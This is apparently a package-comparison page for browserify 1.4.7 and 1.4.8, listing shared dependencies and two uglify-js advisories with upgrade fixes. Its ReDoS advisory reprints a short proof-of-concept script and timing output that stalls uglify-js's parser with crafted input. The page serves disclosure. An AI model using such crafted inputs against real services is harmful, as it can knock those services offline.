Browserify is a powerful tool for JavaScript developers, enabling the use of Node.js-style modules directly in the browser. Both versions 1.4.7 and 1.4.8 provide this core functionality, allowing developers to organize their client-side code into reusable modules with dependencies managed using the require() syntax. Crucially, both rely on core dependencies like nub, resolve, optimist, commondir, detective, and coffee-script to achieve this. Development dependencies, like seq, jade, dnode, jsdom, connect, hashish, backbone, expresso and traverse are the same for both versions.
The key visible difference between version 1.4.7 (released on September 5th, 2011) and 1.4.8 (released on September 9th, 2011) is a minor update reflected in the version number. While the underlying dependencies and developer tools remain the same, this increment suggests bug fixes, performance enhancements, or minor features added to improve overall stability and usability. For developers, choosing between the two may come down to the specific needs of their project and the level of risk they are comfortable with. Version 1.4.8, being the newer release, is recommended for projects that have no dependencies to older versions and can benefit from the improvements it incorporates. Existing projects using 1.4.7 might consider upgrading after testing to ensure compatibility and taking advantage of any new benefits.
All the vulnerabilities related to the version 1.4.8 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.